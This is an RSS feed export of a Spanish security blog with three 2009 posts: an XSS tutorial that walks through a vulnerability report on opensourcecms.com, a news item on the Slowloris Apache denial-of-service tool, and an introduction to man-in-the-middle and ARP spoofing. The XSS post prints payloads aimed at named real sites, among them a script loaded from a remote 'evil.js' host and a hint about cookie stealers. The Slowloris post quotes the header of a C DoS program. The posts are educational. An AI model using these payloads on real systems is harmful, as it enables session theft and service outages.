<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Arrival Security</title>
	<atom:link href="http://arrivalsec.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://arrivalsec.wordpress.com</link>
	<description>Web App Security, Programing &#38; Open Source</description>
	<lastBuildDate>Tue, 01 Mar 2011 18:55:18 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='arrivalsec.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Arrival Security</title>
		<link>http://arrivalsec.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://arrivalsec.wordpress.com/osd.xml" title="Arrival Security" />
	<atom:link rel='hub' href='http://arrivalsec.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Play &amp; Fun with JavaScript II (Aprendiendo de un reporte)</title>
		<link>http://arrivalsec.wordpress.com/2009/07/05/play-fun-with-javascript-ii-aprendiendo-de-un-reporte/</link>
		<comments>http://arrivalsec.wordpress.com/2009/07/05/play-fun-with-javascript-ii-aprendiendo-de-un-reporte/#comments</comments>
		<pubDate>Sat, 04 Jul 2009 23:05:08 +0000</pubDate>
		<dc:creator>Lix</dc:creator>
				<category><![CDATA[XSS]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[Play & Fun with JS]]></category>

		<guid isPermaLink="false">http://arrivalsec.wordpress.com/?p=265</guid>
		<description><![CDATA[Buenas! Llevaba ya tiempo sin escribir, he estado ocupado con el final de curso, planificación de vacaciones y esas cosas que se suelen hacer en esta época. Todo esto y otras cosas más el calor húmedo insoportable de la costa mediterránea me han privado de tiempo para escribir. &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Este va a ser el segundo [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=265&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Buenas! Llevaba ya tiempo sin escribir, he estado ocupado con el final de curso, planificación de vacaciones y esas cosas que se suelen hacer en esta época. Todo esto y otras cosas más el calor húmedo insoportable de la costa mediterránea me han privado de tiempo para escribir.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Este va a ser el segundo post de la serie de Play &amp; Fun with JavaScript que desde hoy sera usado para todo lo relacionado con XSS o con tips interesantes en JavaScript.<br />
La finalidad de este post es iniciar a la gente en una de las vulnerabilidades Client Side (siempre y cuando tenga conocimientos previos de JavaScript o HTML), concretamente Cross Site Scripting, abreviado como XSS.</p>
<p>Las webs en cuestion fueron estas: | <a href="http://aspx.opensourcecms.com/">aspx.opensourcecms.com</a> | <a href="http://php.opensourcecms.com/">php.opensourcecms.com</a> | <a href="http://www.commercialcms.com/">commercialcms.com</a> | y el reporte en cuestión lo pueden encontrar en la zona Full-D CMS de unsersecurity.net aquí concretamente: <a href="http://foro.undersecurity.net/read.php?16,2796">CMS: OpenSource CMS Multiple Vulnerabilities</a>. De este mismo reporte usaremos unicamente lo que nos interese.</p>
<p><img class="alignnone size-full wp-image-285" title="Pantallazo" src="http://arrivalsec.files.wordpress.com/2009/07/pantallazo.png?w=645" alt="Pantallazo"   /></p>
<blockquote><p>+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+</p>
<p>&#8212;&#8212;++++=########################## Advisory &amp; Vulnerabilites Information ##########################=++++&#8212;&#8212;</p>
<p>Type: Web App Vuln<br />
Details: 4 XSS &amp; 1 FPD<br />
Risk: Medium/High<br />
Advisory ID: ASec-101<br />
Discloure policy: RFpolicy</p>
<p>&#8212;&#8212;++++=########################## ###################################### ##########################=++++&#8212;&#8212;</p></blockquote>
<p>Lo primero de todo vemos que el tipo de vulnerabilidad esta en una aplicacion web. Si nos fijamos en el campo de detalles (que es lo que nos interesa) nos muestra que se tratan de 4 XSS y un FPD. En este post nos centraremos unicamente en los XSS.</p>
<p>XSS es una vulnerabilidad producida por el incorrecto filtrado de ciertas variables que pueden pasar mediante GET, POST o incluso Trace. Cuando digo incorrecto filtrado me estoy refiriendo que caracteres como <strong>&lt; &gt; ; : &#8221; &#8216; () . + &#8211; * /</strong> son incorrectamente interpretados por la aplicacion vulnerable. El problema de esto es que si tenemos nociones minímas de JavaScript, sabremos que podemos usar esto a nuestro favor ejecutando código JS a nuestra voluntad.</p>
<p>Antes de continuar me gustaría explicar una cosa. JavaScript es un lenguaje que se ejecuta en el navegador, con lo cual la modificación  del código fuente de la página no se produce realmente, sino que nuestro script se ejecuta en el navegador del usuario en cuestión. Cuando modificamos el código fuente de una página inyectando JavaScript o HTML <strong>estaríamos hablando de otra vulnerabilidad</strong>: HTML injection. Continuemos ahora viendo el reporte <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<blockquote><p>[+]XSS</p>
<p>1º [------XSS------]</p>
<p>Location: index.php<br />
Method: GET<br />
Url: http://php.opensourcecms.com/search/index.php?q=</p>
<p>PoC &#8211; Cookie Alert</p>
<p>http://php.opensourcecms.com/search/index.php?q=&#8221;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;</p>
<p>[Response]:</p>
<p>PHPSESSID=bf2c97c8e104e8724ec728249fb87cb6; &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..</p></blockquote>
<p>Bien! Aquí ya tenemos cosas muy interesantes. Fijemosnos en el campo <strong>Location</strong>, esto nos indica el nombre del archivo vulnerable (index.php), <strong>Method</strong> nos indica el tipo de petición que relaizemos [1] y ahora vamos al campo más interesante, la <strong>URL</strong> donde sinos fijamos al final aparece <strong>?q=</strong> , a simple vista parece una letra normal pero no, esta <strong>q</strong> es la variable incorrectamente filtrada y la que vamos a aprovechar.</p>
<p>Pasemos a la Prueba de Concepto (PoC: Proof of Concept), la verdad es que no es de las mas interesantes no obstante vamos a analizar el código.</p>
<p><strong>&#8220;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;</strong></p>
<p><span style="color:#993300;"><em>&#8220;&gt;</em></span> : cerramos el tag html normalmente en caso de un buscador sera un &lt;input&gt;<br />
<span style="color:#993300;"><em>&lt;script&gt;&lt;/script&gt;</em></span> : abrimos y cerramos nuestro script<br />
<span style="color:#993300;"><em>alert()</em></span> : mediante el metodo alert, nos aparecerá una ventana donde el contenido será lo que haya entre ()<br />
<span style="color:#993300;"><em>document.cookie</em></span> : usamos el objeto document y la propiedad cookie, que muestra los valores de las cookies del documento actual</p>
<p>Como habran deducido esto nos muestra una ventana con el contenido de las cookies que nos han enviado esas páginas</p>
<p>Ahora si me disculpan voy  a saltarme el segundo XSS porque en el 3º puedo explicar dos cosas de golpe <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<blockquote><p>3º [------XSS------]</p>
<p>Location: contactus.php<br />
Method: POST<br />
Url: http://php.opensourcecms.com/general/contactus.php</p>
<p>PoC &#8211; Post Parameters (I use Tamper data for change the post parameters)</p>
<p>name=&#8221;&gt;&lt;script src=&#8221;http://testing.net/evil.js&#8221;&gt;&lt;/script&gt;<br />
email=&#8221;&gt; other evil code</p></blockquote>
<p>Supongamos que han leido todo hasta aquí, y que por ello no explicare los campos ya mencionados. Si nos fijamos en la parte del PoC, esta vez pone algo más interesante. Esta vez el metodo usado es POST, para &#8220;visualizar&#8221; los parametros vulnerables mejor recomiendo utilizar el Tamper Data[2]. Y ahora vamos a lo interesante:</p>
<p><strong>name=&#8221;&gt;&lt;script src=&#8221;http://testing.net/evil.js&#8221;&gt;&lt;/script&gt;</strong></p>
<p>Como pueden ver aqui estamos utilizando <strong>&lt;script src= </strong>lo que hace este src es redireccionar a nuestra web donde se encuentrara nuestro evil script que contendrá código malicioso que se ejecutara en nuestro navegador. Otra forma de redireccionar por ejemplo a un stealer de cookies, es mediante <strong>document.location</strong></p>
<p><strong>Referencias y links de interés</strong></p>
<ul>
<li><a href="http://0verl0ad.blogspot.com/2008/09/http-al-descubierto-by-vengador-de-las.html">HTTP al descubierto by Vengador de las Sombras (The X-C3LL) &amp; Sknight (Lix)</a></li>
<li><a href="http://jimbojw.com/wiki/index.php?title=Tamper_Data">Tamper Data Tutorial</a></li>
</ul>
<p>Y hasta aquí lo interesante del reporte, los PoC&#8217;s del 2º y 4º XSS solo muestran numeros y texto asi que no creo que sea demasiado interés.</p>
<p>Para el próximo artículo de play &amp; fun tratará sobre form tampering y sobre limitaciones en el output, ya veréis que vectores más chulos vais a ver <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<br />Posted in XSS Tagged: javascript, Play &amp; Fun with JS, XSS <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arrivalsec.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arrivalsec.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arrivalsec.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arrivalsec.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arrivalsec.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arrivalsec.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arrivalsec.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arrivalsec.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arrivalsec.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arrivalsec.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arrivalsec.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arrivalsec.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arrivalsec.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arrivalsec.wordpress.com/265/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=265&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arrivalsec.wordpress.com/2009/07/05/play-fun-with-javascript-ii-aprendiendo-de-un-reporte/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2f5687747fd22b7e225a0044f0ba6abc?s=96&#38;d=wavatar&#38;r=G" medium="image">
			<media:title type="html">Lix</media:title>
		</media:content>

		<media:content url="http://arrivalsec.files.wordpress.com/2009/07/pantallazo.png" medium="image">
			<media:title type="html">Pantallazo</media:title>
		</media:content>
	</item>
		<item>
		<title>Slowloris: Denegación de servicio en Apache</title>
		<link>http://arrivalsec.wordpress.com/2009/07/02/slowloris-denegacion-de-servicio-en-apache/</link>
		<comments>http://arrivalsec.wordpress.com/2009/07/02/slowloris-denegacion-de-servicio-en-apache/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 15:38:30 +0000</pubDate>
		<dc:creator>eudax</dc:creator>
				<category><![CDATA[InfoSec tools]]></category>
		<category><![CDATA[Web App Security]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[ha.ckers]]></category>
		<category><![CDATA[herramienta]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[servidor]]></category>
		<category><![CDATA[slowloris]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://arrivalsec.wordpress.com/?p=277</guid>
		<description><![CDATA[Hace unos días, RSnake, de ha.ckers, publicó una herramienta llamada Slowloris, capaz de provocar una denegación de servicio en Apache, saturándolo de peticiones, aunque dejando el resto de los servicios de la máquina afectada disponibles y sin problemas, ya que actúa a nivel de aplicación, es decir, el ataque sólo afecta a Apache en sí. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=277&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hace unos días, RSnake, de <a href="http://ha.ckers.org/">ha.ckers</a>, publicó una herramienta llamada Slowloris, capaz de provocar una denegación de servicio en Apache, saturándolo de peticiones, aunque dejando el resto de los servicios de la máquina afectada disponibles y sin problemas, ya que actúa a nivel de aplicación, es decir, el ataque sólo afecta a Apache en sí.</p>
<p>La herramienta en cuestión es un script realizado en Perl, que por cierto, no sólo requiere tener instalado el intérprete, sino que precisa además de una serie de librerías, tal y como se indica en la web del autor:</p>
<blockquote><p>perl -MCPAN -e &#8216;install IO::Socket::INET&#8217;<br />
perl -MCPAN -e &#8216;install IO::Socket::SSL&#8217;</p></blockquote>
<p>El ataque consiste básicamente en abrir muchos threads contra una página web y dejar las peticiones a medias. Declara que va a enviar datos pero, realmente, nunca llega a hacer el resto del PUT.</p>
<blockquote><p>Slowloris holds connections open by sending partial HTTP requests. It continues to send subsequent headers at regular intervals to keep the sockets from closing. In this way webservers can be quickly tied up. In particular, servers that have threading will tend to be vulnerable, by virtue of the fact that they attempt to limit the amount of threading they&#8217;ll allow. Slowloris must wait for all the sockets to become available before it&#8217;s successful at consuming them, so if it&#8217;s a high traffic website, it may take a while for the site to free up it&#8217;s sockets. So while you may be unable to see the website from your vantage point, others may still be able to see it until all sockets are freed by them and consumed by Slowloris. This is because other users of the system must finish their requests before the sockets become available for Slowloris to consume. If others re-initiate their connections in that brief time-period they&#8217;ll still be able to see the site. So it&#8217;s a bit of a race condition, but one that Slowloris will eventually always win &#8211; and sooner than later.</p></blockquote>
<p>Para mas información pueden mirarse esto: <a href="http://ha.ckers.org/slowloris/">Slowloris [ha.ckers]</a></p>
<p>La herramienta ha provocado un impacto grande, además, el problema no tiene una solución fácil, de hecho,  a fecha de hoy no hay ninguna solución que sea &#8220;completa&#8221;, ya que la mayoría de las &#8220;soluciones&#8221; restarían funcionalidad a los sistemas afectados, aunque ya se hayan publicado algunas alternativas, más bien para minimizar el ataque, en <a href="http://www.securitybydefault.com/2009/07/slowloris-dos-para-apache.html">Security By Default</a>.</p>
<p>Cabe destacar la herramienta <a href="http://motomastyle.com/pyloris-a-python-implementation-of-slowloris/">PyLoris</a>, una implementacion del slowloris pero en python (quizás mas entendible, en cuanto a código se refiera), eso si, este programa no es apto para kiddies  <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  .</p>
<p>Tambien me gustaría mencionar el gran trabajo de c1c4tr1z (<a href="http://voodoo-labs.org/blog/index.php">voodoo-labs</a> &amp; <a href="http://foro.undersecurity.net/">undersecurity </a>[afiliado!]), ya que basandose en una prueba de concepto colgada en milw0rm (<a href="http://www.milw0rm.com/exploits/8991">Link al PoC</a>) ha desarrollado una versión en C intentando replicar este ataque.<br />
/***</p>
<pre><span> * apache_dos.c - C1c4Tr1Z &lt;c1c4tr1z@voodoo-labs.org&gt;
 * C version of the D.O.S proof-of-concept by evilrabbi (http://www.milw0rm.com/exploits/8991)
 * voodoo-labs 2009 (http://voodoo-labs.org) &amp; undersecurity (http://foro.undersecurity.net)
 * compile: gcc -o apache_dos apache_dos.c -lpthread
 ***/</span>

<span>Code completo aquí: </span><a href="http://foro.undersecurity.net/read.php?15,2876">apache_dos.c (undersecurity)</a></pre>
<br />Posted in InfoSec tools, Web App Security Tagged: Apache, denial of service, dos, ha.ckers, herramienta, security, servidor, slowloris, tool <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arrivalsec.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arrivalsec.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arrivalsec.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arrivalsec.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arrivalsec.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arrivalsec.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arrivalsec.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arrivalsec.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arrivalsec.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arrivalsec.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arrivalsec.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arrivalsec.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arrivalsec.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arrivalsec.wordpress.com/277/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=277&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arrivalsec.wordpress.com/2009/07/02/slowloris-denegacion-de-servicio-en-apache/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e05078b8b5523e0c5cb86fd19990e329?s=96&#38;d=wavatar&#38;r=G" medium="image">
			<media:title type="html">eudax</media:title>
		</media:content>
	</item>
		<item>
		<title>Man in the Middle Attacks I: Teoría e Introducción</title>
		<link>http://arrivalsec.wordpress.com/2009/06/13/man-in-the-middle-attacks-i-teoria-e-introduccion/</link>
		<comments>http://arrivalsec.wordpress.com/2009/06/13/man-in-the-middle-attacks-i-teoria-e-introduccion/#comments</comments>
		<pubDate>Sat, 13 Jun 2009 20:32:43 +0000</pubDate>
		<dc:creator>eudax</dc:creator>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[ataque]]></category>
		<category><![CDATA[criptografía]]></category>
		<category><![CDATA[información]]></category>
		<category><![CDATA[man in the middle]]></category>
		<category><![CDATA[mitm]]></category>
		<category><![CDATA[teoría]]></category>

		<guid isPermaLink="false">http://arrivalsec.wordpress.com/?p=217</guid>
		<description><![CDATA[Hola, este va a ser el primero de una serie de posts, que tratarán como tema principal el ataque de tipo Man in the Middle, comúnmente abreviado como MITM, los cuales intentarán transmitir una base teórica del funcionamiento y principios del ataque, para posteriormente centrarnos en más prácticos temas prácticos, así como la defensa ante [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=217&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hola, este va a ser el primero de una serie de posts, que tratarán como tema principal el ataque de tipo <a href="http://es.wikipedia.org/wiki/Ataque_Man-in-the-middle">Man in the Middle</a>, comúnmente abreviado como MITM, los cuales intentarán transmitir una base teórica del funcionamiento y principios del ataque, para posteriormente centrarnos en más prácticos temas prácticos, así como la defensa ante el MITM.</p>
<p>En cuanto a criptografía, un MITM es una técnica en el cual un atacante puede interceptar mensajes entre dos víctimas, siendo capaz de tener acceso y modificar la información transmitida entre las dos partes, todo esto sin que ninguna tenga conocimiento de éste.</p>
<div id="attachment_218" class="wp-caption aligncenter" style="width: 490px"><img class="size-full wp-image-218" title="Main_the_middle" src="http://arrivalsec.files.wordpress.com/2009/05/main_the_middle.jpg?w=645" alt="Main_the_middle"   /><p class="wp-caption-text">Esquema de un ataque MITM, sacado de la página web de la OWASP. En este se ve cómo el atacante recibe la información que intercambian las víctimas (aquí un ordenador de escritorio y un servidor), sin que estas puedan apreciarlo.</p></div>
<p>Esta técnica puede ser utilizada con varios objetivos (aquí enumero los más comunes):</p>
<ul>
<li>Eavesdropping (literalmente, escuchar secretamente). Interceptar y acceder activamente a la información transmitida, por ejemplo, mediante un sniffer.</li>
</ul>
<div id="attachment_259" class="wp-caption aligncenter" style="width: 474px"><img class="size-full wp-image-259" title="Eavesdropping" src="http://arrivalsec.files.wordpress.com/2009/06/eavesdropping.jpg?w=645" alt="Eavesdropping"   /><p class="wp-caption-text">Diagrama de un ataque local de eavesdropping, obtenido de la web de la OWASP, en el que se ve cómo una contraseña enviada por la vítcima es interceptada por el atacante.</p></div>
<p style="text-align:center;">
<ul>
<li>Denegaciones de servicio, es decir, interrumpir el flujo de información entre víctimas, bloqueando la comunicación.</li>
<li>Spoofing. Hacerse pasar por una de las víctimas para enviar información, modificarla&#8230;</li>
</ul>
<p>La forma más usual de realizar este ataque, es mediante una técnica conocida como <a href="http://es.wikipedia.org/wiki/ARP_Spoofing">ARP Spoofing</a>, también llamada ARP Poisoning, llevada a cabo en redes locales.</p>
<p><strong>El protocolo ARP</strong></p>
<p>El <span style="color:#ff0000;">A</span>dress <span style="color:#ff0000;">R</span>esolution <span style="color:#ff0000;">P</span>rotocol, o protocolo de resolución de direcciones, se encarga de relacionar la dirección física o hardware de una tarjeta de interfaz de red con su dirección IP correspondiente a nivel de red, mediante peticiones ARP. Todo esto funciona mediante una serie de peticiones, que se agilizan gracias a unas tablas caché, llamadas tablas ARP, que guardan direcciones ya traducidas, que cuando pasa un determinado tiempo, se van borrando.</p>
<p>En el contexto del ataque, el ordenador atacante envenena las tablas ARP tanto del router como del equipo víctima, haciendo así que todo el tráfico pase por él, es decir, interceptándolo.</p>
<p>En la próxima entrega proporcionaremos un efoque más práctico al tema.</p>
<p>Un saludo!</p>
<p style="text-align:left;">
<div id="yehgfingerprint" style="border:1px outset gray;display:none;opacity:0;position:absolute;left:10%;right:10%;top:1%;text-align:left;background-color:black;color:white;float:right;padding:1%;"><a name="yehgfingerprint"></a><span style="float:right;cursor:pointer;" title="YEHG.Net Lab"><img src=";base64,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" alt="" /></span></p>
